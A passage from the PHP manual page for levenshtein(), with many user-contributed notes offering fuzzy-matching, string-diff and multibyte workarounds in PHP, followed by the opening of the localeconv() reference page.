        // 最接近的单词是这个（完全匹配）
        $closest = $word;
        $shortest = 0;

        // 退出循环；我们已经找到一个完全的匹配
        break;
    }

    // 如果此次距离比上次找到的要短
    // 或者还没找到接近的单词
    if ($lev <= $shortest || $shortest < 0) {
        // 设置最接近的匹配以及它的最短距离
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>

以上例程会输出：

Input word: carrrot
Did you mean: carrot?

参见

  • soundex() - Calculate the soundex key of a string
  • similar_text() - 计算两个字符串的相似度
  • metaphone() - Calculate the metaphone key of a string

User Contributed Notes

peratik at gmail dot com 16-Sep-2017 12:24
python get_close_matches equivalent:

function get_close_matches($str, $arr) {
    $closest = 1000;
    $word = false;
    foreach($arr as $w) {
        $po = levenshtein($str, $w);
        if ($po<$closest) {
            $closest = $po;
            $word = $w;
        }
    }
    return $word;
}
Anonymous 23-May-2017 12:04
@Digeridoo: use this for strings not longer than 999 characters:

<?php
$a = '1 apple';
$b = '2 apples';

$levenshtein = levenshtein($a, $b, 1, 1000, 1000000);

$inserts = $levenshtein % 1000;
$replaces = floor($levenshtein / 1000) % 1000;
$deletes = floor($levenshtein / 1000000) % 1000;

echo '<pre>';
var_export(array(
    'levenshtein' => $levenshtein,
    'inserts' => $inserts,
    'replaces' => $replaces,
    'deletes' => $deletes
));

/* Output
array (
  'levenshtein' => 1001,
  'inserts' => 1,
  'replaces' => 1,
  'deletes' => 0,
)
*/

?>
Johan Gennesson php at genjo dot fr 07-Sep-2016 12:49
Please, be aware that:

<?php
// Levenshtein Apostrophe (U+0027 &#39;) and Right Single Quotation Mark (U+2019 &#8217;)
echo levenshtein("'", "'");
?>

will output 3!
yhoko at yhoko dot com 25-Feb-2016 05:08
Note that this function might cause problems when working with multibyte charactes like in UTF-8. Example:

<?php
print( similar_text( 'h?', 'hà' ) ); // Returns 2 where only 1 character matches
?>
Digeridoo 20-Jan-2016 01:55
What is wrong with this function? Seems that custom insert/replace/delete weights do not work as expected.

<?php
$a = '1 apple';
$b = '2 apples';

$levenshtein = levenshtein($a, $b);
$inserts     = levenshtein($a, $b, 1, 0, 0);
$replaces    = levenshtein($a, $b, 0, 1, 0);
$deletes     = levenshtein($a, $b, 0, 0, 1);

echo '<pre>';
var_export(array(
    'levenshtein' => $levenshtein,
    'inserts' => $inserts,
    'replaces' => $replaces,
    'deletes' => $deletes
));

/* Output
array (
  'levenshtein' => 2,
  'inserts' => 1,
  'replaces' => 0,
  'deletes' => 0,
)
*/
?>
qbolec 05-Aug-2015 08:10
For the rare occassions,  where you want:
1. multibyte UTF-8 characters
2. linear memory consumption (that is O(n+m) , not O(n*m))
3. learn the string which is the longest common subsequence
4. reasonable (that is O(n*m)) time complexity
Consider this implementation:
<?php
class Strings
{
  public static function len($a){
    return mb_strlen($a,'UTF-8');
  }
  public static function substr($a,$x,$y=null){
    if($y===NULL){
      $y=self::len($a);
    }
    return mb_substr($a,$x,$y,'UTF-8');
  }
  public static function letters($a){
    $len = self::len($a);
    if($len==0){
      return array();
    }else if($len == 1){
      return array($a);
    }else{
      return Arrays::concat(
        self::letters(self::substr($a,0,$len>>1)),
        self::letters(self::substr($a,$len>>1))
      );
    }
  }
  private static function lcs_last_column(array $A,array $B){
    $al=count($A);
    $bl=count($B);
    $last_column = array();
    for($i=0;$i<=$al;++$i){
      $current_row = array();
      for($j=0;$j<=$bl;++$j){
        //$a[0,$i) vs $b[0,$j)
        if($i==0 || $j == 0){
          $v = 0;
        }else if($A[$i-1]===$B[$j-1]){
          $v = 1 + $last_row[$j-1];
        }else{
          $v = max($last_row[$j],$current_row[$j-1]);
        }
        $current_row[] = $v;
      }
      $last_column[] = $current_row[$bl];
      $last_row = $current_row;
    }
    return $last_column;
  }
  public static function lcs($a,$b){
    $A = self::letters($a);
    $B = self::letters($b);
    $bl=count($B);
    if($bl==0){
      return '';
    }else if($bl==1){
      return FALSE===array_search($B[0],$A,true)?'':$B[0];
    }
    $left=self::lcs_last_column($A,array_slice($B,0,$bl>>1));
    $right=array_reverse(self::lcs_last_column(array_reverse($A),array_reverse(array_slice($B,$bl>>1))));

    $best_i = 0;
    $best_lcs = 0;
    foreach($left as $i => $lcs_left){
      $option = $lcs_left + $right[$i];
      if($best_lcs < $option){
        $best_lcs = $option;
        $best_i = $i;
      }
    }
    return
      self::lcs(self::substr($a,0,$best_i), self::substr($b,0,$bl>>1)).
      self::lcs(self::substr($a,$best_i), self::substr($b,$bl>>1));
  }
?>
This is a classic implentation in which several tricks are used:
1. the strings are exploded into multi-byte characters in O(n lg n) time
2. instead of searching for the longest path in a precomputed two-dimensional array, we search for the best point which lays in the middle column. This is achieved by spliting the second string in half, and recursively calling the algorithm twice. The only thing we need from the recursive call are the values in the middle column. The trick is to return the last column from each recursive call, which is what we need for the left part, but requires one more trick for the right part - we simply mirror the strings and the array so that the last column is the first column. Then we just find the row which maximizes the sum of lenghts in each part.
3. one can prove that the time consumed by the algorithm is proportional to the area of the (imaginary) two-dimensional array, thus it is O(n*m).
WiLDRAGoN 15-Jul-2015 08:19
Some small changes allow you to calculate multiple words.

<?php

$input = array();
$dictionary  = array();
foreach ($input as $output) {
    $shortest = -1;
    foreach ($dictionary as $word) {
        $lev = levenshtein($output, $word);
        if ($lev == 0) {
            $closest = $word;
            $shortest = 0;
        }
        if ($lev <= $shortest || $shortest < 0) {
            $closest  = $word;
            $shortest = $lev;
        }
    }
    echo "Input word: $output\n";
    if ($shortest == 0) {
        echo "Exact match found: $closest\n";
    } else {
        echo "Did you mean: $closest?\n";
    }
}

?>
luciole75w at no dot spam dot gmail dot com 18-Nov-2013 02:25
The levenshtein function processes each byte of the input string individually. Then for multibyte encodings, such as UTF-8, it may give misleading results.

Example with a french accented word :
- levenshtein('notre', 'votre') = 1
- levenshtein('notre', 'n?tre') = 2 (huh ?!)

You can easily find a multibyte compliant PHP implementation of the levenshtein function but it will be of course much slower than the C implementation.

Another option is to convert the strings to a single-byte (lossless) encoding so that they can feed the fast core levenshtein function.

Here is the conversion function I used with a search engine storing UTF-8 strings, and a quick benchmark. I hope it will help.

<?php
// Convert an UTF-8 encoded string to a single-byte string suitable for
// functions such as levenshtein.
//
// The function simply uses (and updates) a tailored dynamic encoding
// (in/out map parameter) where non-ascii characters are remapped to
// the range [128-255] in order of appearance.
//
// Thus it supports up to 128 different multibyte code points max over
// the whole set of strings sharing this encoding.
//
function utf8_to_extended_ascii($str, &$map)
{
    // find all multibyte characters (cf. utf-8 encoding specs)
    $matches = array();
    if (!preg_match_all('/[\xC0-\xF7][\x80-\xBF]+/', $str, $matches))
        return $str; // plain ascii string

    // update the encoding map with the characters not already met
    foreach ($matches[0] as $mbc)
        if (!isset($map[$mbc]))
            $map[$mbc] = chr(128 + count($map));

    // finally remap non-ascii characters
    return strtr($str, $map);
}

// Didactic example showing the usage of the previous conversion function but,
// for better performance, in a real application with a single input string
// matched against many strings from a database, you will probably want to
// pre-encode the input only once.
//
function levenshtein_utf8($s1, $s2)
{
    $charMap = array();
    $s1 = utf8_to_extended_ascii($s1, $charMap);
    $s2 = utf8_to_extended_ascii($s2, $charMap);

    return levenshtein($s1, $s2);
}
?>

Results (for about 6000 calls)
- reference time core C function (single-byte) : 30 ms
- utf8 to ext-ascii conversion + core function : 90 ms
- full php implementation : 3000 ms
engineglue at gmail dot com 08-Jan-2012 08:05
I really like [the manual's] example for the use of the levenshtein function to match against an array. I ran into the need to specify the sensitivity of the result. There are circumstances when you want it to return false if the match is way out of line. I wouldn't want "marry had a little lamb" to match with "saw viii" simply because it was the best match in the array. Hence the need for sensitivity:

<?php
    function wordMatch($words, $input, $sensitivity){
        $shortest = -1;
        foreach ($words as $word) {
            $lev = levenshtein($input, $word);
            if ($lev == 0) {
                $closest = $word;
                $shortest = 0;
                break;
            }
            if ($lev <= $shortest || $shortest < 0) {
                $closest  = $word;
                $shortest = $lev;
            }
        }
        if($shortest <= $sensitivity){
            return $closest;
        } else {
            return 0;
        }
    }

    $word = 'PINEEEEAPPLE';

    $words  = array('apple','pineapple','banana','orange',
                    'radish','carrot','pea','bean','potato');

    echo wordMatch($words, strtolower($word), 2);
?>
Chaim Chaikin 02-Nov-2011 11:40
As regards to Example #1 above, would it not be more efficient to first use a simple php == comparison to check if the strings are equal even before testing the word with levenshtein().

Something like this:

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // check for an exact match
    if ($input == $word) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>
paulrowe at iname dot com 27-Aug-2008 05:58
[EDITOR'S NOTE: original post and 2 corrections combined into 1 -- mgf]

Here is an implementation of the Levenshtein Distance calculation that only uses a one-dimensional array and doesn't have a limit to the string length. This implementation was inspired by maze generation algorithms that also use only one-dimensional arrays.

I have tested this function with two 532-character strings and it completed in 0.6-0.8 seconds.

<?php
/*
* This function starts out with several checks in an attempt to save time.
*   1.  The shorter string is always used as the "right-hand" string (as the size of the array is based on its length).
*   2.  If the left string is empty, the length of the right is returned.
*   3.  If the right string is empty, the length of the left is returned.
*   4.  If the strings are equal, a zero-distance is returned.
*   5.  If the left string is contained within the right string, the difference in length is returned.
*   6.  If the right string is contained within the left string, the difference in length is returned.
* If none of the above conditions were met, the Levenshtein algorithm is used.
*/
function LevenshteinDistance($s1, $s2)
{
  $sLeft = (strlen($s1) > strlen($s2)) ? $s1 : $s2;
  $sRight = (strlen($s1) > strlen($s2)) ? $s2 : $s1;
  $nLeftLength = strlen($sLeft);
  $nRightLength = strlen($sRight);
  if ($nLeftLength == 0)
    return $nRightLength;
  else if ($nRightLength == 0)
    return $nLeftLength;
  else if ($sLeft === $sRight)
    return 0;
  else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE))
    return $nRightLength - $nLeftLength;
  else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE))
    return $nLeftLength - $nRightLength;
  else {
    $nsDistance = range(1, $nRightLength + 1);
    for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos)
    {
      $cLeft = $sLeft[$nLeftPos - 1];
      $nDiagonal = $nLeftPos - 1;
      $nsDistance[0] = $nLeftPos;
      for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos)
      {
        $cRight = $sRight[$nRightPos - 1];
        $nCost = ($cRight == $cLeft) ? 0 : 1;
        $nNewDiagonal = $nsDistance[$nRightPos];
        $nsDistance[$nRightPos] =
          min($nsDistance[$nRightPos] + 1,
              $nsDistance[$nRightPos - 1] + 1,
              $nDiagonal + $nCost);
        $nDiagonal = $nNewDiagonal;
      }
    }
    return $nsDistance[$nRightLength];
  }
}
?>
luka8088 at gmail dot com 28-May-2008 01:03
Simple levenshtein function without string length limit ...

<?php

function levenshtein2($str1, $str2, $cost_ins = null, $cost_rep = null, $cost_del = null) {
    $d = array_fill(0, strlen($str1) + 1, array_fill(0, strlen($str2) + 1, 0));
    $ret = 0;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        $d[$i][0] = $i;
    for ($j = 1; $j < strlen($str2) + 1; $j++)
        $d[0][$j] = $j;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        for ($j = 1; $j < strlen($str2) + 1; $j++) {
            $c = 1;
            if ($str1{$i - 1} == $str2{$j - 1})
                $c = 0;
            $d[$i][$j] = min($d[$i - 1][$j] + 1, $d[$i][$j - 1] + 1, $d[$i - 1][$j - 1] + $c);
            $ret = $d[$i][$j];
        }

    return $ret;
}

?>
atx dot antrax at gmail dot com 17-Apr-2008 02:42
I have made a function that removes the length-limit of levenshtein function and ajust the result with similar_text:

<?php
function _similar($str1, $str2) {
    $strlen1=strlen($str1);
    $strlen2=strlen($str2);
    $max=max($strlen1, $strlen2);

    $splitSize=250;
    if($max>$splitSize)
    {
        $lev=0;
        for($cont=0;$cont<$max;$cont+=$splitSize)
        {
            if($strlen1<=$cont || $strlen2<=$cont)
            {
                $lev=$lev/($max/min($strlen1,$strlen2));
                break;
            }
            $lev+=levenshtein(substr($str1,$cont,$splitSize), substr($str2,$cont,$splitSize));
        }
    }
    else
    $lev=levenshtein($str1, $str2);

    $porcentage= -100*$lev/$max+100;
    if($porcentage>75)//Ajustar con similar_text
    similar_text($str1,$str2,$porcentage);

    return $porcentage;
}
?>
dale3h 12-Feb-2008 08:52
Using PHP's example along with Patrick's comparison percentage function, I have come up with a function that returns the closest word from an array, and assigns the percentage to a referenced variable:

<?php
  function closest_word($input, $words, &$percent = null) {
    $shortest = -1;
    foreach ($words as $word) {
      $lev = levenshtein($input, $word);

      if ($lev == 0) {
        $closest = $word;
        $shortest = 0;
        break;
      }

      if ($lev <= $shortest || $shortest < 0) {
        $closest  = $word;
        $shortest = $lev;
      }
    }

    $percent = 1 - levenshtein($input, $closest) / max(strlen($input), strlen($closest));

    return $closest;
  }
?>

Usage:
<?php
  $input = 'carrrot';
  $words = array('apple','pineapple','banana','orange',
                 'radish','carrot','pea','bean','potato');

  $percent = null;
  $found = closest_word($input, $words, $percent);

  printf('Closest word to "%s": %s (%s%% match)', $input, $found, round($percent * 100, 2));
?>

I found that lowercasing the array prior to comparing yields a better comparison when the case is not of importance, for example: comparing a user-inputted category to a list of existing categories.

I also found that when the percentage was above 75%, it was usually the match that I was looking for.
carey at NOSPAM dot internode dot net dot au 28-Oct-2006 07:06
I have found that levenshtein is actually case-sensitive (in PHP 4.4.2 at least).

<?php
$distance=levenshtein('hello','ELLO');
echo "$distance";
?>

Outputs: "5", instead of "1". If you are implementing a fuzzy search feature that makes use of levenshtein, you will probably need to find a way to work around this.
dinesh AT dinsoft DOT net 17-Mar-2006 03:18
Here is a string resynch function:

<?php
// Trouve les operations a effectuer pour modifier $b en $a en exploitant leurs similitudes (Finds the operations required to change $b to $a)
// Identique a la fonction Resynch Compare de Hex Workshop
//
// Parametres:
//      $a Premiere chaine (cible, target)
//      $b Seconde chaine (source)
//      $l Nombre d'octets devant correspondre pour etre consides comme un bloc similaire (number of matching bytes required)
//      $s Distance maximale dans laquelle les blocs similaires sont cherches (search window)
//
// Retourne:
//      Array
//              Array
//                      [0] Operation: + Add , - Del , / Replace, = Match
//                      [1] Source offset
//                      [2] Source count
//                      [3] Target offset
//                      [4] Target count
//
function str_resynch($a,$b,$l=32,$s=2048) {
        $r=array();
        for($i=0,$c=strlen($a),$cc=strlen($b),$ii=0,$z=$s-1,$z2=($z<<1)+1; $i<$c; $i++) {
                $d=$i-$z;
                $d=($d<$ii)?substr($b,$ii,$z2-$ii+$d):substr($b,$d,$z2);

                $p=strpos($d,$a{$i});
                $n=0;
                while ($p!==FALSE) {
                        $m=1;
                        $bi=$i;
                        $bp=$p;
                        $p+=$ii;
                        while ((++$i<$c) && (++$p<$cc)) {
                                if ($a{$i}!=$b{$p}) break;
                                $m++;
                        }
                        if ($m<$l) {
                                $i=$bi;
                                $n=$bp+1;
                                $p=@strpos($d,$a{$i},$n);
                        }
                        else {
                                $i--;
                                $r[]=array($bi,$bp+$ii,$m); // offset a, offset b, Count
                                $ii=$p;
                                break;
                        }
                }
        }

        if (!count($r)) return ($cc)?array('/',0,$c,0,$cc):array(array('+',0,$c,0,0));

        $o=array();
        $bi=0;
        $bp=0;
        for($i=0,$m=count($r);$i<$m;$i++) {
                if ($r[$i][0]!=$bi) {
                        if ($r[$i][1]!=$bp) {
                                // Replace
                                $o[]=array('/',$bi,$r[$i][0]-$bi,$bp,$r[$i][1]-$bp);
                                $bi=$r[$i][0];
                                $bp=$r[$i][1];
                        }
                        else {
                                // Insertion
                                $o[]=array('+',$bi,$r[$i][0]-$bi,$bp,0);
                                $bi=$r[$i][0];
                        }
                }
                elseif ($r[$i][1]!=$bp) {
                        // Delete
                        $o[]=array('-',$bi,0,$bp,$r[$i][1]-$bp);
                        $bp=$r[$i][1];
                }

                // Match
                $o[]=array('=',$r[$i][0],$r[$i][2],$r[$i][1],$r[$i][2]);
                $bi+=$r[$i][2];
                $bp+=$r[$i][2];
        }

        if ($c!=$bi) {
                if ($cc!=$bp) $o[]=array('/',$bi,$c-$bi,$bp,$cc-$bp);
                else $o[]=array('+',$bi,$c-$bi,$bp,0);
        }
        elseif ($cc!=$bp) $o[]=array('-',$bi,0,$bp,$cc-$bp);

        return $o;
}
?>
june05 at tilo-hauke dot de 06-Jun-2005 12:44
//levenshtein for arrays
function array_levenshtein($array1,$array2)
         {   $aliases= array_flip(array_values(array_unique(array_merge($array1,$array2))));
             if(count($aliases)>255) return -1;
             $stringA=''; $stringB='';
             foreach($array1 as $entry) $stringA.=chr($aliases[$entry]);
             foreach($array2 as $entry) $stringB.=chr($aliases[$entry]);
             return levenshtein($stringA,$stringB);
         }

// e.g. use array_levenshtein to detect special expressions in unser-inputs

echo array_levenshtein(split(" ", "my name is xxx"), split(" ","my name is levenshtein"));

//output: 1
justin at visunet dot ie 05-Apr-2005 07:46
<?php

    /*********************************************************************
    * The below func, btlfsa, (better than levenstien for spelling apps)
    * produces better results when comparing words like haert against
    * haart and heart.
    *
    * For example here is the output of levenshtein compared to btlfsa
    * when comparing 'haert' to 'herat, haart, heart, harte'
    *
    * btlfsa('haert','herat'); output is.. 3
    * btlfsa('haert','haart'); output is.. 3
    * btlfsa('haert','harte'); output is.. 3
    * btlfsa('haert','heart'); output is.. 2
    *
    * levenshtein('haert','herat'); output is.. 2
    * levenshtein('haert','haart'); output is.. 1
    * levenshtein('haert','harte'); output is.. 2
    * levenshtein('haert','heart'); output is.. 2
    *
    * In other words, if you used levenshtein, 'haart' would be the
    * closest match to 'haert'. Where as, btlfsa sees that it should be
    * 'heart'
    */

    function btlfsa($word1,$word2)
    {
        $score = 0;

        // For each char that is different add 2 to the score
        // as this is a BIG difference

        $remainder  = preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word1)."]/i",'',$word2);
        $remainder .= preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word2)."]/i",'',$word1);
        $score      = strlen($remainder)*2;

        // Take the difference in string length and add it to the score
        $w1_len  = strlen($word1);
        $w2_len  = strlen($word2);
        $score  += $w1_len > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len;

        // Calculate how many letters are in different locations
        // And add it to the score i.e.
        //
        // h e a r t
        // 1 2 3 4 5
        //
        // h a e r t     a e        = 2
        // 1 2 3 4 5   1 2 3 4 5
        //

        $w1 = $w1_len > $w2_len ? $word1 : $word2;
        $w2 = $w1_len > $w2_len ? $word2 : $word1;

        for($i=0; $i < strlen($w1); $i++)
        {
            if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] )
            {
                $score++;
            }
        }

        return $score;
    }

    // *************************************************************
    // Here is a full code example showing the difference

    $misspelled = 'haert';

    // Imagine that these are sample suggestions thrown back by soundex or metaphone..
    $suggestions = array('herat', 'haart', 'heart', 'harte');

    // Firstly order an array based on levenshtein
    $levenshtein_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion);
    }
    asort($levenshtein_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by levenshtein...</b><ul><pre>";
    print_r($levenshtein_ordered);
    print "</pre></ul>";

    // Secondly order an array based on btlfsa
    $btlfsa_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion);
    }
    asort($btlfsa_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by btlfsa...</b><ul><pre>";
    print_r($btlfsa_ordered);
    print "</pre></ul>";

?>
mcreuzer at r-world dot com 07-Mar-2005 09:01
I am using the Levenshtein distance to SORT my search results.

I have a search page for peoples names. I do a SOUNDEX() search on the name in mysql. MySQL SOUNDEX() will perform the "fuzzy" search for me.

I then calculate the Levenshtein distance between the search term and the actual name found by the SOUNDEX() search. This will give me a score on how close my results are to the search string.

I can the sort my results for display listing the closest results first.

<?php
// PHP CODE INCLUDING DB LOOKUPS HERE
    usort($searchresults, "finallevenshteinsortfunction");

function finallevenshteinsortfunction($a, $b)
{
    if(($a['levenshtein'] > $b['levenshtein']) || ( $a['levenshtein'] == $b['levenshtein'] && strnatcasecmp( $a['Last_Name'], $b['Last_Name']) >= 1) ){ return $a['levenshtein'];} // Ok... The levenstein is greater OR with the same levenshtein, the last name is alphanumerically first
    elseif($a['levenshtein'] == $b['levenshtein']){ return '0';} // The levenstein matches
    elseif($a['levenshtein'] < $b['levenshtein']){ return -$a['levenshtein'];}
    else{die("<!-- a horrable death -->");}
}
?>
gzink at zinkconsulting dot com 03-Dec-2003 03:03
Try combining this with metaphone() for a truly amazing fuzzy search function. Play with it a bit, the results can be plain scary (users thinking the computer is almost telepathic) when implemented properly. I wish spell checkers worked as well as the code I've written.

I would release my complete code if reasonable, but it's not, due to copyright issues. I just hope that somebody can learn from this little tip!
genialbrainmachine at dot IHATESPAM dot tiscali dot it 26-Oct-2003 11:55
I wrote this function to have an "intelligent" comparison between data to be written in a DB
and already existent data. Not ony calculating distances but also balancing distances for
each field.
<?php
/*
This function calculate a balanced percentage distance between an array of strings
"$record" and a compared array "$compared", balanced through an array of
weights "$weight". The three arrays must have the same indices.
For an unbalanced distance, set all weights to 1.
The used formula is:
percentage distance = sum(field_levenshtein_distance * field_weight) / sum(record_field_length * field_weight) * 100
*/
function search_similar($record, $weights, $compared, $precision=2) {
         $field_names = array_keys($record);
         # "Weighted length" of $record and "weighted distance".
         foreach ($field_names as $field_key) {
                 $record_weight += strlen($record[$field_key]) * $weights[$field_key];
                 $weighted_distance += levenshtein($record[$field_key],$compared[$field_key]) * $weights[$field_key];
                 }
         # Building the result..
         if ($record_weight) {
             return round(($weighted_distance / $record_weight * 100),$precision);
            } elseif ((strlen(implode("",$record)) == 0) && (strlen(implode("",$compared)) == 0)) { // empty records
            return round(0,$precision);
            } elseif (array_sum($weights) == 0) { // all weights == 0
            return round(0,$precision);
            } else {
            return false;
            }
         /*
         Be very careful distinguising 0 result and false result.
         The function results 0 ('0.00' if $precision is 2 and so on) if:
         - $record and $compared are equals (even if $record and $compared are empty);
         - all weights are 0 (the meaning could be "no care about any field").
         Conversely, the function results false if $record is empty, but the weights
         are not all 0 and $compared is not empty. That cause a "division by 0" error.
         I wrote this kind of check:

         if ($rel_dist = search_similar(...)) {
             print $rel_dist;
            } elseif ($rel_dist == "0.00") { // supposing that $precision is 2
            print $rel_dist;
            } else {
            print "infinite";
            }

         */
         }
?>
jlsalinas at gmx dot net 25-Oct-2003 07:28
Regarding the post by fgilles on April 26th 2001, I suggest not to use levenshtein() function to test for over-uppercasing unless you've got plenty of time to waste in your host. ;) Anyhow, I think it's a useful feature, as I get really annoyed when reading whole messages in uppercase.

PHP's levenshtein() function can only handle up to 255 characters, which is not realistic for user input (only the first paragraph oh this post has 285 characters). If you choose to use a custom function able to handle more than 255 characters, efficiency is an important issue.

I use this function, specific for this case, but much faster:

function ucase_percent ($str) {
    $str2 = strtolower ($str);

    $l = strlen ($str);
    $ucase = 0;

    for ($i = 0; $i < $l; $i++) {
        if ($str{$i} != $str2{$i}) {
            $ucase++;
        }
    }

    return $ucase / $l * 100.0;
}

I think 10% is enough for written English (maybe other languages like German, which use more capital letters, need more). With some sentencies in uppercase (everybody has the right to shout occasionally), 20% would be enough; so I use a threshold of 30%. When exceeded, I lowercase the whole message.

Hope you find it useful and it helps keeping the web free of ill-mannered people.
inerte is my hotmail.com username 11-Jul-2003 10:22
I am using this function to avoid duplicate information on my client's database.

After retrieving a series of rows and assigning the results to an array values, I loop it with foreach comparing its levenshtein() with the user supplied string.

It helps to avoid people re-registering "John Smith", "Jon Smith" or "Jon Smit".

Of course, I can't block the operation if the user really wants to, but a suggestion is displayed along the lines of: "There's a similar client with this name.", followed by the list of the similar strings.
bisqwit at iki dot fi 12-Aug-2002 07:43
At the time of this manual note the user defined thing
in levenshtein() is not implemented yet. I wanted something
like that, so I wrote my own function. Note that this
doesn't return levenshtein() difference, but instead
an array of operations to transform a string to another.

Please note that the difference finding part (resync)
may be extremely slow on long strings.

<?php

/* matchlen(): returns the length of matching
 * substrings at beginning of $a and $b
 */
function matchlen(&$a, &$b)
{
  $c=0;
  $alen = strlen($a);
  $blen = strlen($b);
  $d = min($alen, $blen);
  while($a[$c] == $b[$c] && $c < $d)
    $c++;
  return $c;
}

/* Returns a table describing
 * the differences of $a and $b */
function calcdiffer($a, $b)
{
  $alen = strlen($a);
  $blen = strlen($b);
  $aptr = 0;
  $bptr = 0;

  $ops = array();

  while($aptr < $alen && $bptr < $blen)
  {
    $matchlen = matchlen(substr($a, $aptr), substr($b, $bptr));
    if($matchlen)
    {
      $ops[] = array('=', substr($a, $aptr, $matchlen));
      $aptr += $matchlen;
      $bptr += $matchlen;
      continue;
    }
    /* Difference found */

    $bestlen=0;
    $bestpos=array(0,0);
    for($atmp = $aptr; $atmp < $alen; $atmp++)
    {
      for($btmp = $bptr; $btmp < $blen; $btmp++)
      {
        $matchlen = matchlen(substr($a, $atmp), substr($b, $btmp));
        if($matchlen>$bestlen)
        {
          $bestlen=$matchlen;
          $bestpos=array($atmp,$btmp);
        }
        if($matchlen >= $blen-$btmp)break;
      }
    }
    if(!$bestlen)break;

    $adifflen = $bestpos[0] - $aptr;
    $bdifflen = $bestpos[1] - $bptr;

    if($adifflen)
    {
      $ops[] = array('-', substr($a, $aptr, $adifflen));
      $aptr += $adifflen;
    }
    if($bdifflen)
    {
      $ops[] = array('+', substr($b, $bptr, $bdifflen));
      $bptr += $bdifflen;
    }
    $ops[] = array('=', substr($a, $aptr, $bestlen));
    $aptr += $bestlen;
    $bptr += $bestlen;
  }
  if($aptr < $alen)
  {
    /* b has too much stuff */
    $ops[] = array('-', substr($a, $aptr));
  }
  if($bptr < $blen)
  {
    /* a has too little stuff */
    $ops[] = array('+', substr($b, $bptr));
  }
  return $ops;
}

Example:

$tab = calcdiffer('T?m? on jonkinlainen testi',
                  'T?m? ei ole mink??nlainen testi.');
$ops = array('='=>'Ok', '-'=>'Remove', '+'=>'Add');
foreach($tab as $k)
  echo $ops[$k[0]], " '", $k[1], "'\n";

Example output:

Ok 'T?m? '
Remove 'on jonki'
Add 'ei ole mink??'
Ok 'nlainen testi'
Add '.'
11-Apr-2002 06:57
For spell checking applications, delay could be tolerable if you assume the typist got the first two or three chars of each word right.  Then you'd only need to calc distances for a small segment of the dictionary.  This is a compromise but one I think a lot of spell checkers make.
For an example of site search using this function look at the PHP manual search button on this page.  It appears to be doing this for the PHP function list.
fgilles at free dot fr 26-Apr-2001 01:32
Exempla of use for a forum: users can't post messages too much uppercased

<?php
if ((strlen($subject)>10) and ( ( levenshtein ($subject, strtolower ($subject) / strlen ($subject) ) > .3 ) ){
    $subject = strtolower($subject);
}
?>
dschultz at protonic dot com 10-Aug-2000 09:01
It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords.
ad1n at dc dot uba dot ar 04-Aug-2000 05:01
One application of this is when you want to look for a similar match instead of an exact one. You can sort the results of checking the distances of a word to a dictionary and sort them to see which were the more similar ones. Of course it will be a quite resourse consuming task anyway.


Get numeric formatting information

  • ? levenshtein
  • ltrim ?
  • PHP Manual
  • 字符串 函数
  • Get numeric formatting information

localeconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

localeconv — Get numeric formatting information

说明

localeconv ( void ) : array

Returns an associative array containing localized numeric and monetary formatting information.

返回值

localeconv() returns data based upon the current locale as set by setlocale(). The associative array that is returned contains the following fields:

Array element | Description
decimal_point | Decimal point character
thousands_sep | Thousands separator
grouping | Array containing numeric groupings
int_curr_symbol | International currency symbol (i.e. USD)
currency_symbol | Local currency symbol (i.e. $)
mon_decimal_point | Monetary decimal point character
mon_thousands_sep | Monetary thousands separator
mon_grouping | Array containing monetary groupings
positive_sign | Sign for positive values
negative_sign | Sign for negative values
int_frac_digits | International fractional digits
frac_digits | Local fractional digits
p_cs_precedes | TRUE if currency_symbol precedes a positive value, FALSE if it succeeds one
p_sep_by_space | TRUE if a space separates currency_symbol from a positive value, FALSE otherwise
n_cs_precedes | TRUE if currency_symbol precedes a negative value, FALSE if it succeeds one
n_sep_by_space | TRUE if a space separates currency_symbol from a negative value, FALSE otherwise
p_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol
n_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol

The p_sign_posn, and n_sign_posn contain a string of formatting options. Each number representing one of the above listed conditions.

